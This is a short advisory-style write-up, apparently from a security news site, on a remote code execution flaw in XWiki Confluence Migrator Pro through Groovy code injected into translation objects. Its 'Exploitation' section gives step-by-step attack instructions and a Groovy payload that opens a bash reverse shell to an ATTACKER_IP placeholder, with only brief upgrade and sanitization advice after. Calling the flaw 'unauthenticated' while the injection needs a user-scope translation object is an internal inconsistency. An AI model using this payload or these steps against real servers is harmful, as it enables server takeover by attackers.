How the CVE Works:
The vulnerability (CVE-2025-XXXX) in XWiki Confluence Migrator Pro (versions >= 1.0, < 1.2.0) allows unauthenticated remote code execution (RCE) due to unescaped translations in the Migration Page template. An attacker can exploit this by injecting malicious Groovy code into the `XWiki.TranslationDocumentClass` with `USER` scope. When a page is created using the vulnerable template, the injected code is executed on the server. For example, the payload `{{groovy}}println(“hello from groovy!”){{/groovy}}` will execute arbitrary Groovy code, leading to RCE. This vulnerability is critical as it allows attackers to gain full control of the server without requiring programming rights.

What Undercode Say:
Exploitation:
- Payload Injection: Inject Groovy code into the `XWiki.TranslationDocumentClass` with `USER` scope.
Example: `{{groovy}}println(“Exploit executed!”){{/groovy}}`
- Trigger Execution: Create a page using the Migration Page template to execute the payload.
- Reverse Shell: Use Groovy to spawn a reverse shell.
Example:
{{groovy}}
def p = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'".execute()
p.waitFor()
{{/groovy}}
Protection:
1. Upgrade: Update to version 1.2.0 or later.
- Input Sanitization: Ensure all user inputs are sanitized and escaped.
- Access Control: Restrict access to the Migration Page template to trusted users only.
